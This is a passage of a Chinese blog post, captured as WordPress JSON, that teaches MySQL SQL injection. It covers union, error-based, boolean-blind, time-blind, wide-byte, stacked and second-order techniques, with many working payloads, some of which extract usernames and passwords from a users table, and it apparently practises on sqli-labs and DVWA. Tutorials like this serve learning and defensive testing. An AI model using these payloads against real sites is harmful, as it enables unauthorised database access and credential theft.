class=\"wp-block-heading\">\u7b49\u4ef7\u51fd\u6570\u7ed5\u8fc7<\/h5>\n\n\n\n<pre class=\"wp-block-preformatted\">hex()\u3001bin() ==&gt; ascii() <br>sleep() ==&gt;benchmark() <br>concat_ws()==&gt;group_concat() <br>mid()\u3001substr() ==&gt; substring() <br>@@user ==&gt; user() <br>@@datadir ==&gt; datadir() <br>\u4e3e\u4f8b\uff1asubstring()\u548csubstr()\u65e0\u6cd5\u4f7f\u7528\u65f6\uff1a?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74\u3000 <br>\u6216\u8005\uff1a substr((select 'password'),1,1) = 0x70 <br>strcmp(left('password',1), 0x69) = 1 <br>strcmp(left('password',1), 0x70) = 0 <br>strcmp(left('password',1), 0x71) = -1<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u6839\u636e\u6ce8\u5165\u60c5\u51b5\u4f7f\u7528\u6ce8\u5165\u65b9\u5f0f<\/h4>\n\n\n\n<p>\u4f7f\u7528id=1\u8fdb\u884c\u5c1d\u8bd5\u5c1d\u8bd5 \u7ee7\u7eed\u4f7f\u7528order by \u67e5\u8be2\u663e\u793a\u4f4d union select 1\uff0c2\uff0c3 \u67e5\u8be2\u65e0\u663e\u793a\uff0c\u5373\u65e0\u6cd5\u5f97\u5230\u663e\u793a\u4f4d\u6216\u65e0\u6cd5\u5f97\u5230\u5217\u6570\u65f6\u653e\u5f03\u4f7f\u7528\u8054\u5408\u67e5\u8be2 \u5c1d\u8bd5\u4f7f\u7528\u62a5\u9519\u8bed\u53e5?id=1&#8242; and updatexml(1,concat(0x7e,database(),0x7e),1) &#8211;+\u7b49\u6ca1\u6709\u62a5\u9519\u4fe1\u606f\u663e\u793a\u65f6\u653e\u5f03\u4f7f\u7528\u62a5\u9519\u6ce8\u5165 \u5c1d\u8bd5\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8\u548c\u65f6\u95f4\u76f2\u6ce8\uff08\u5efa\u8bae\u4f7f\u7528\u5de5\u5177\u8fdb\u884c\u6ce8\u5165\uff09<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u8054\u5408\u578b\u6ce8\u5165<\/h5>\n\n\n\n<p>\u524d\u63d0\uff1a\u77e5\u9053\u5217\u6570\u4e14\u9875\u9762\u4e0a\u6709\u663e\u793a\u4f4d\u3002 \u5224\u65ad\u663e\u793a\u4f4d\u3001\u83b7\u53d6\u6240\u6709\u6570\u636e\u5e93\u540d\u3001\u83b7\u53d6\u6307\u5b9a\u6570\u636e\u5e93\u6240\u6709\u8868\u540d\u3001\u83b7\u53d6\u6307\u5b9a\u6570\u636e\u5e93\u6307\u5b9a\u8868\u4e2d\u6240\u6709\u5b57\u6bb5\u540d\u3001\u83b7\u53d6\u5177\u4f53\u6570\u636e\u3002\u5f53\u7136\u5728\u5177\u4f53\u64cd\u4f5c\u91cc\u9762<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6211\u4eec\u901a\u5e38\u4f1a\u8fd9\u6837\uff1aid=-1 union select 1,2,database();<br>\u4f46\u662f\u4e3a\u4ec0\u4e48\u8981\u628aid\u8bbe\u7f6e\u4e3a\u8d1f\u6570\u5462?<br>\u7531\u4e8e\u6211\u4eec\u7684\u8bed\u53e5\u662f\u63d2\u5165\u5230\u539f\u6709\u8bed\u53e5\u540e\u9762\uff0c\u8fd9\u6837\u5c31\u4f1a\u51fa\u73b0\u4e24\u4e2aSQL\u8bed\u53e5\u540c\u65f6\u6267\u884c\uff0c\u7531\u4e8eSQL\u67e5\u8be2\u4f1a\u9ed8\u8ba4\u8fd4\u56de\u4e00\u884c\u6570\u636e\uff0c\u6240\u4ee5\u6211\u4eec\u63d2\u5165\u7684\u7b2c\u4e8c\u884c\u8bed\u53e5\u7684\u7ed3\u679c\u5c31\u4e0d\u4f1a\u88ab\u8fd4\u56de\uff0c\u53ea\u4f1a\u8fd4\u56de\u539f\u6709\u7684SQL\u8bed\u53e5\u7684\u67e5\u8be2\u5185\u5bb9\u3002<br>\u8981\u8ba9\u6570\u636e\u5e93\u67e5\u8be2\u6211\u4eec\u63d2\u5165\u7684\u8bed\u53e5\uff0c\u9700\u8981\u8ba9\u539f\u6709SQL\u8bed\u53e5\u4ea7\u751f\u67e5\u8be2\u9519\u8bef\uff0c\u6ce8\u610f\uff1a\u67e5\u8be2\u9519\u8bef\u4e0d\u662f\u8bed\u6cd5\u9519\u8bef\uff0c\u67e5\u8be2\u9519\u8bef\u53ea\u4f1a\u8fd4\u56de\u7a7a\uff0c\u4e0d\u4f1a\u8ba9\u8bed\u53e5\u62a5\u9519\u3002<br>\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u4f7fid=0\u6216id=-1\uff0c\u96f6\u6216\u8d1f\u6570\u4e0d\u4f1a\u88ab\u7528\u4f5cid\u503c\uff0c\u5b83\u63d2\u5165\u8fdb\u53bb\u4e00\u5b9a\u5bfc\u81f4\u539f\u6709SQL\u8bed\u53e5\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a\uff0c\u6211\u4eec\u63d2\u5165\u7684SQL\u8bed\u53e5\u7684\u7ed3\u679c\u5c31\u4f1a\u88ab\u8fd4\u56de\u3002<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u62a5\u9519\u578b\u6ce8\u5165<\/h5>\n\n\n\n<p>\u524d\u63d0\uff1a\u9875\u9762\u4f1a\u663e\u793a\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f\u3002 \u5f97\u5230\u62a5\u9519\u4fe1\u606f\u3001\u83b7\u53d6\u6240\u6709\u6570\u636e\u5e93\u540d\u3001\u83b7\u53d6\u6307\u5b9a\u6570\u636e\u5e93\u6240\u6709\u8868\u540d\u3001\u83b7\u53d6\u6307\u5b9a\u6570\u636e\u5e93\u6307\u5b9a\u8868\u4e2d\u6240\u6709\u5b57\u6bb5\u540d\u3001\u83b7\u53d6\u5177\u4f53\u6570\u636e\u3002 \u6570\u636e\u5e93\u540d<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8fd9\u4e2a\u5c31\u9700\u8981\u4f7f\u7528\u4e00\u4e9b\u51fd\u6570\u4e86<br>?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)\/extractvalue\u8fd9\u4e2a\u51fd\u6570 --+\u8fd8\u6709\u5176\u4ed6\u59ff\u52bf\u540e\u9762\u4f1a\u8865\u5145\u7684<br>?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+<br>\u7531\u4e8e\u65e0\u6cd5\u50cf\u8054\u5408\u67e5\u8be2\u4e00\u6837\u4e00\u6b21\u6027\u770b\u5230\u6240\u6709\u6570\u636e\u5e93\u540d\u79f0\uff0c\u5c31\u9700\u8981\u4f7f\u7528limit\u53c2\u6570\u9010\u4e2a\u67e5\u8be2\uff1a<br>?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+<br>\u6307\u5b9a\u6570\u636e\u5e93\u4e2d\u8868\u540d\uff1a<br>?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+<br>\u6307\u5b9a\u6570\u636e\u5e93\u4e2d\u6307\u5b9a\u8868\u4e2d\u6240\u6709\u5b57\u6bb5\u540d<br>?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+<br>\u5177\u4f53\u6570\u636e<br>?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+<br>\u6216\u4f7f\u7528limit\u6328\u4e2a\u904d\u5386<br>?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u5e03\u5c14\u76f2\u6ce8<\/h5>\n\n\n\n<p>\u60c5\u51b5\uff1a\u6ca1\u6709\u663e\u793a\u4f4d\u3001\u6ca1\u6709\u62a5\u9519\u4fe1\u606f\uff0c\u4f46\u662f\u6709SQL\u8bed\u53e5\u6267\u884c\u9519\u8bef\u4fe1\u606f\u8f93\u51fa\u7684\u573a\u666f\uff0c\u4ec5\u4ec5\u901a\u8fc7\u62a5\u9519\u8fd9\u4e00\u884c\u4e3a\u53bb\u5224\u65adSQL\u6ce8\u5165\u8bed\u53e5\u662f\u5426\u6267\u884c\u6210\u529f\u3002(\u5f53\u7136\u4e5f\u53ef\u4ee5\u5199\u811a\u672c\uff0c\u4f46\u662f\u6211\u4e0d\u4f1a\uff0c\u8fd8\u9700\u8981\u7ec3\u4e60)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7206\u5e93\u540d\u957f\u5ea6<br>\u6839\u636e\u5e93\u540d\u957f\u5ea6\u7206\u5e93\u540d<br>\u5bf9\u5f53\u524d\u5e93\u7206\u8868\u6570\u91cf<br>\u6839\u636e\u5e93\u540d\u548c\u8868\u6570\u91cf\u7206\u8868\u540d\u957f\u5ea6<br>\u6839\u636e\u8868\u540d\u957f\u5ea6\u7206\u8868\u540d<br>\u5bf9\u8868\u7206\u5217\u6570\u91cf<br>\u6839\u636e\u8868\u540d\u548c\u5217\u6570\u91cf\u7206\u5217\u540d\u957f\u5ea6<br>\u6839\u636e\u5217\u540d\u957f\u5ea6\u7206\u5217\u540d<br>\u6839\u636e\u5217\u540d\u7206\u6570\u636e\u503c<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u6570\u636e\u5e93\u957f\u5ea6<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1' and (length(database()))&gt;7 --+   <br>?id=1' and (length(database()))&gt;8 --+<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u6839\u636e\u5e93\u540d\u957f\u5ea6\u7206\u5e93\u540d<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 and substring(database(),2,1)='$$'<br>mid(str,pos,len) &nbsp; &nbsp;<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u5bf9\u5f53\u524d\u5e93\u7206\u8868\u6570\u91cf<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">1 and (select count(table_name) from information_schema.tables where table_schema=database())=$$<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u6839\u636e\u5e93\u540d\u548c\u8868\u6570\u91cf\u7206\u8868\u540d\u957f\u5ea6<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=$$ \u7b2c\u4e00\u5f20\u8868 <br>?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=$$ \u7b2c\u4e8c\u5f20\u8868<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u731c\u8868\u7684\u540d\u79f0<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">1' and ascii(substr((select table_name from information_schema.tables where table_schema=\"database()\" limit 0,1),1,1)) = $$ # \u7b2c\u4e00\u5f20\u8868\u7684\u7b2c\u4e00\u4e2a\u540d\u79f0<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u731c\u5217\u7684\u6570\u91cf\uff08\u9700\u8981\u7528\u5230\u4e0a\u8ff0\u5f97\u5230\u7684\u8868\u540d\uff09<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='\u8868\u540d')=\u6570\u5b57 #<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u731c\u5217\u540d\u7684\u957f\u5ea6<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">1' and length(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='\u8868\u540d' limit \u5217\u7684\u6570\u91cf,1 ),1))=\u957f\u5ea6\u6570\u5b57#<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u5217\u7684\u540d\u79f0<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='\u8868\u540d' limit \u5217\u7684\u6570\u91cf,1 ) ,1~\u5217\u540d\u7684\u957f\u5ea6,1) )=ASCII\u7801# <\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u731c\u6d4b\u6570\u636e\u5185\u5bb9<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">1' and ascii(substr((select \u5217\u540d from \u8868\u540d limit 0~\u6570\u636e\u4e2a\u6570-1,1),1~\u6570\u636e\u540d\u79f0\u957f\u5ea6,1))=ASCII\u7801 #<\/pre>\n\n\n\n<p>\u4e0a\u9762\u7684\u4e2d\u95f4\u5c11\u4e86\u5224\u65ad\u957f\u5ea6\u7684\u5224\u65ad\uff0c\u8bf7\u89c1\u8c05<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">\u65f6\u95f4\u76f2\u6ce8<\/h6>\n\n\n\n<p>\u524d\u63d0\uff1a\u9875\u9762\u4e0a\u6ca1\u6709\u663e\u793a\u4f4d\uff0c\u4e5f\u6ca1\u6709\u8f93\u51faSQL\u8bed\u53e5\u6267\u884c\u9519\u8bef\u4fe1\u606f\u3002 \u6b63\u786e\u7684SQL\u8bed\u53e5\u548c\u9519\u8bef\u7684SQL\u8bed\u53e5\u8fd4\u56de\u9875\u9762\u90fd\u4e00\u6837\uff0c\u4f46\u662f\u52a0\u5165sleep(5)\u6761\u4ef6\u4e4b\u540e\uff0c\u9875\u9762\u7684\u8fd4\u56de\u901f\u5ea6\u660e\u663e\u6162\u4e865\u79d2\u3002 \u7f3a\u70b9\uff1a\u56e0\u4e3a\u662f\u901a\u8fc7sleep()\u51fd\u6570\u5f71\u54cd\u7684\u54cd\u5e94\u65f6\u95f4\u6765\u5224\u65ad\u8bed\u53e5\u662f\u5426\u6267\u884c\uff0c\u6240\u4ee5\u6bd4\u5e03\u5c14\u76f2\u6ce8\u66f4\u6162\uff0c\u771f\u5b9e\u73af\u5883\u4e0b\u65f6\u95f4\u76f2\u6ce8\u4e00\u4e2a\u6ce8\u5165\u70b9\u9700\u8981\u8dd1\u5927\u6982\u4e94\u516d\u4e2a\u5c0f\u65f6\u3002\u548c\u5e03\u5c14\u7684\u6d41\u7a0b\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7\u52a0\u4e86\u4e00\u4e2asleep\u51fd\u6570\u7684\u4f7f\u7528<\/p>\n\n\n\n<p>\u57fa\u672c\u4e0asql\u6ce8\u5165\u7684\u79cd\u7c7b\u5dee\u4e0d\u591a\u5c31\u662f\u4ee5\u4e0a\u4e09\u79cd\u4ee5\u53ca\u5916\u52a0\u4e00\u4e9b\u683c\u5f0f\uff0c\u6bd4\u5982\u5bbd\u5b57\u8282\u8981\u4f7f\u7528%df\u8fdb\u884c\u95ed\u5408\uff0c\u800cUA\u5934\uff0cxff\u53ea\u662f\u5728\u4e0d\u540c\u7684\u4f4d\u7f6e\u8fdb\u884c\u6ce8\u5165\uff0c\u7c7b\u578b\u4e0d\u53d8\uff0c\u5173\u4e8e\u5176\u4ed6\u6570\u636e\u5e93\u7684\u6ce8\u5165\u4ee5\u540e\u66f4\u65b0\uff0c\u6b64blog\u4e3b\u8981\u8bb2\u89e3mysql\u6570\u636e\u5e93\u7684\u6ce8\u5165<\/p>\n\n\n\n<p><strong>\u5bbd\u5b57\u8282\u6ce8\u5165<\/strong><\/p>\n\n\n\n<p>\u5bbd\u5b57\u8282\u662f\u76f8\u5bf9\u4e8eascII\u8fd9\u6837\u5355\u5b57\u8282\u800c\u8a00\u7684\uff0c\u50cf GB2312\u3001GBK\u3001GB18030\u3001BIG5\u3001Shift_JIS \u7b49\u8fd9\u4e9b\u90fd\u662f\u5e38\u8bf4\u7684\u5bbd\u5b57\u8282\uff0c\u5b9e\u9645\u4e0a\u53ea\u6709\u4e24\u5b57\u8282\u3002GBK \u662f\u4e00\u79cd\u591a\u5b57\u7b26\u7684\u7f16\u7801\uff0c\u901a\u5e38\u6765\u8bf4\uff0c\u4e00\u4e2a gbk \u7f16\u7801\u6c49\u5b57\uff0c\u5360\u75282\u4e2a\u5b57\u8282\u3002\u4e00\u4e2a utf-8 \u7f16\u7801\u7684\u6c49\u5b57\uff0c\u5360\u75283\u4e2a\u5b57\u8282\u3002<\/p>\n\n\n\n<p>\u539f\u7406\uff1a\u901a\u5e38\u60c5\u51b5\u4e0b\uff0cSQL\u6ce8\u5165\u70b9\u662f\u901a\u8fc7\u5355\u5f15\u53f7\u6765\u8bc6\u522b\u7684\u3002\u4f46\u5f53\u6570\u636e\u7ecf\u8fc7\u00a0<code>addslashes()<\/code>\u00a0\u5904\u7406\u65f6\uff0c\u5355\u5f15\u53f7\u4f1a\u88ab\u8f6c\u4e49\u6210\u65e0\u529f\u80fd\u6027\u5b57\u7b26\uff0c\u5728\u5224\u65ad\u6ce8\u5165\u70b9\u65f6\u5931\u6548\u3002\u653b\u51fb\u8005\u5229\u7528\u5bbd\u5b57\u8282\u5b57\u7b26\u96c6\uff08\u5982GBK\uff09\u5c06\u4e24\u4e2a\u5b57\u8282\u8bc6\u522b\u4e3a\u4e00\u4e2a\u6c49\u5b57\uff0c\u7ed5\u8fc7\u53cd\u659c\u7ebf\u8f6c\u4e49\u673a\u5236\uff0c\u5e76\u4f7f\u5355\u5f15\u53f7\u9003\u9038\uff0c\u5b9e\u73b0\u5bf9\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5\u7684\u7be1\u6539\u3002<\/p>\n\n\n\n<p>\u8f6c\u4e49\u51fd\u6570addslashes()\uff1a\u4e3a\u4e86\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\u7684\u4e00\u4e9b\u6570\u636e\uff0c\u5bf9\u7279\u6b8a\u7684\u5b57\u7b26\u52a0\u4e0a\u53cd\u659c\u6760\u201c\\\u201d\u8fdb\u884c\u8f6c\u4e49\uff1b\u5bbd\u5b57\u8282\u6ce8\u5165\u6307\u7684\u662f mysql \u6570\u636e\u5e93\u5728\u4f7f\u7528\u5bbd\u5b57\u8282\uff08GBK\uff09\u7f16\u7801\u65f6\uff0c\u4f1a\u8ba4\u4e3a\u4e24\u4e2a\u5b57\u7b26\u662f\u4e00\u4e2a\u6c49\u5b57\uff08\u524d\u4e00\u4e2aascii\u7801\u8981\u5927\u4e8e128\uff08\u6bd4\u5982%df\uff09\uff0c\u624d\u5230\u6c49\u5b57\u7684\u8303\u56f4\uff09\uff0c\u800c\u4e14\u5f53\u6211\u4eec\u8f93\u5165\u5355\u5f15\u53f7\u65f6\uff0cmysql\u4f1a\u8c03\u7528\u8f6c\u4e49\u51fd\u6570\uff0c\u5c06\u5355\u5f15\u53f7\u53d8\u4e3a\u2019\uff0c\u5176\u4e2d\\\u7684\u5341\u516d\u8fdb\u5236\u662f%5c,mysql\u7684GBK\u7f16\u7801\uff0c\u4f1a\u8ba4\u4e3a%df%5c\u662f\u4e00\u4e2a\u5bbd\u5b57\u8282\uff0c\u4e5f\u5c31\u662f\u2019\u904b\u2019\uff0c\u4ece\u800c\u4f7f\u5355\u5f15\u53f7\u95ed\u5408\uff08\u9003\u9038\uff09\uff0c\u8fdb\u884c\u6ce8\u5165\u653b\u51fb\u3002<\/p>\n\n\n\n<p>\u5806\u53e0\u6ce8\u5165<\/p>\n\n\n\n<p>\u539f\u7406\uff1a<\/p>\n\n\n\n<p>mysql\u6570\u636e\u5e93sql\u8bed\u53e5\u7684\u9ed8\u8ba4\u7ed3\u675f\u7b26\u662f\u4ee5<code>;<\/code>\u7ed3\u5c3e\uff0c\u5728\u6267\u884c\u591a\u6761SQL\u8bed\u53e5\u65f6\u5c31\u8981\u4f7f\u7528\u7ed3\u675f\u7b26\u9694\u5f00\uff0c\u90a3\u4e48\u5728<code>;<\/code>\u7ed3\u675f\u4e00\u6761sql\u8bed\u53e5\u540e\u7ee7\u7eed\u6784\u9020\u4e0b\u4e00\u6761\u8bed\u53e5\uff0c\u4e00\u8d77\u6267\u884c\u6ce8\u5165\u8bed\u53e5<\/p>\n\n\n\n<p>\u6761\u4ef6\uff1a<\/p>\n\n\n\n<p>\u5806\u53e0\u6ce8\u5165\u89e6\u53d1\u7684\u6761\u4ef6\u5f88\u82db\u523b\uff0c\u56e0\u4e3a\u5806\u53e0\u6ce8\u5165\u539f\u7406\u5c31\u662f\u901a\u8fc7\u7ed3\u675f\u7b26\u540c\u65f6\u6267\u884c\u591a\u6761sql\u8bed\u53e5\uff0c\u8fd9\u5c31\u9700\u8981\u670d\u52a1\u5668\u5728\u8bbf\u95ee\u6570\u636e\u7aef\u65f6\u4f7f\u7528\u7684\u662f\u53ef\u540c\u65f6\u6267\u884c\u591a\u6761sql\u8bed\u53e5\u7684\u65b9\u6cd5\uff0c\u4f8b\u5982php\u4e2d\u7684mysqli_multi_query\u51fd\u6570\u3002\u4f46\u4e0e\u4e4b\u76f8\u5bf9\u5e94\u7684mysqli_query()\u51fd\u6570\u4e00\u6b21\u53ea\u80fd\u6267\u884c\u4e00\u6761sql\u8bed\u53e5\uff0c\u6240\u4ee5\u8981\u60f3\u76ee\u6807\u5b58\u5728\u5806\u53e0\u6ce8\u5165,\u5728\u76ee\u6807\u4e3b\u673a\u6ca1\u6709\u5bf9\u5806\u53e0\u6ce8\u5165\u8fdb\u884c\u9ed1\u540d\u5355\u8fc7\u6ee4\u7684\u60c5\u51b5\u4e0b\u5fc5\u987b\u5b58\u5728\u7c7b\u4f3c\u4e8emysqli_multi_query()\u8fd9\u6837\u7684\u51fd\u6570,\u7b80\u5355\u603b\u7ed3\u4e0b\u6765\u5c31\u662f<\/p>\n\n\n\n<p>1\u3001\u76ee\u6807\u5b58\u5728sql\u6ce8\u5165\u6f0f\u6d1e<br>2\u3001\u76ee\u6807\u672a\u5bf9&#8221;;&#8221;\u53f7\u8fdb\u884c\u8fc7\u6ee4<br>3\u3001\u76ee\u6807\u4e2d\u95f4\u5c42\u67e5\u8be2\u6570\u636e\u5e93\u4fe1\u606f\u65f6\u53ef\u540c\u65f6\u6267\u884c\u591a\u6761sql\u8bed\u53e5<\/p>\n\n\n\n<p>\u4f7f\u7528\u5206\u53f7 &#8216;;&#8217; \u6210\u5806\u7684\u6267\u884csql\u6ce8\u5165\u8bed\u53e5\uff0c\u9996\u5148\u5148\u53d1\u73b0\u5b58\u5728SQL\u6ce8\u5165\uff0c\u7136\u540e\u4f7f\u7528;\u5206\u522b\u6267\u884cSQL\u8bed\u53e5\uff0c\u5e38\u89c1\u7684\u5c31\u662f\u76f4\u63a5\u6539\u8d26\u53f7\u548c\u5bc6\u7801\u3002<\/p>\n\n\n\n<p>\u4e8c\u6b21\u6ce8\u5165<\/p>\n\n\n\n<p>\u4e8c\u6b21\u6ce8\u5165\u53ef\u4ee5\u7406\u89e3\u4e3a\uff0c\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610f\u6570\u636e\u5b58\u50a8\u5728\u6570\u636e\u5e93\u540e\uff0c\u6076\u610f\u6570\u636e\u88ab\u8bfb\u53d6\u5e76\u8fdb\u5165\u5230SQL\u67e5\u8be2\u8bed\u53e5\u6240\u5bfc\u81f4\u7684\u6ce8\u5165\u3002\u9632\u5fa1\u8005\u53ef\u80fd\u5728\u7528\u6237\u8f93\u5165\u6076\u610f\u6570\u636e\u65f6\u5bf9\u5176\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u4e86\u8f6c\u4e49\u5904\u7406\uff0c\u4f46\u5728\u6076\u610f\u6570\u636e\u63d2\u5165\u5230\u6570\u636e\u5e93\u65f6\u88ab\u5904\u7406\u7684\u6570\u636e\u53c8\u88ab\u8fd8\u539f\u5e76\u5b58\u50a8\u5728\u6570\u636e\u5e93\u4e2d\uff0c\u5f53Web\u7a0b\u5e8f\u8c03\u7528\u5b58\u50a8\u5728\u6570\u636e\u5e93\u4e2d\u7684\u6076\u610f\u6570\u636e\u5e76\u6267\u884cSQL\u67e5\u8be2\u65f6\uff0c\u5c31\u53d1\u751f\u4e86SQL\u4e8c\u6b21\u6ce8\u5165\u3002<\/p>\n\n\n\n<p>\u5c31\u611f\u89c9\u6709\u70b9\u50cf\u903b\u8f91\u6f0f\u6d1e\u4e86\uff0c\u5728sql-labs24\u5173\u7684\u65f6\u5019\uff0c\u6ce8\u518cadmin&#8217;#\u7684\u8d26\u53f7\uff0c\u7136\u540e\u4fee\u6539\u5bc6\u7801\uff0c\u7531\u4e8eadmin&#8217;#\u95ed\u5408\u4e86\u524d\u9762\u7684&#8217;\u53f7\uff0c\u5bfc\u81f4\u540e\u7aef\u8ba4\u4e3a\u662fadmin\u8d26\u53f7\u5728\u4fee\u6539\u5bc6\u7801\uff0c\u4e8e\u662f\u53d1\u73b0admin&#8217;#\u7684\u8d26\u53f7\u7684\u5bc6\u7801\u6ca1\u6709\u88ab\u6539\uff0c\u800c\u662fadmin\u7684\u5bc6\u7801\u88ab\u6539\u4e86<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165 \u539f\u7406\uff1a \u5728\u6570\u636e\u8fdb\u884c\u4ea4\u4e92\u7684\u65f6\u5019\uff0c\u7528\u6237\u5728\u524d\u7aef\u4f20\u5165\u7684\u6570\u636e\u4f20\u5165\u5230\u540e\u53f0\u5904\u7406\u7684\u65f6\u5019\uff0c\u7531\u4e8e\u540e\u7aef\u6ca1\u6709\u8fdb\u884c\u505a\u4e25\u683c\u7684\u8fc7 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-36","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/36","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=36"}],"version-history":[{"count":5,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/36\/revisions"}],"predecessor-version":[{"id":59,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/36\/revisions\/59"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=36"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=36"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=36"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}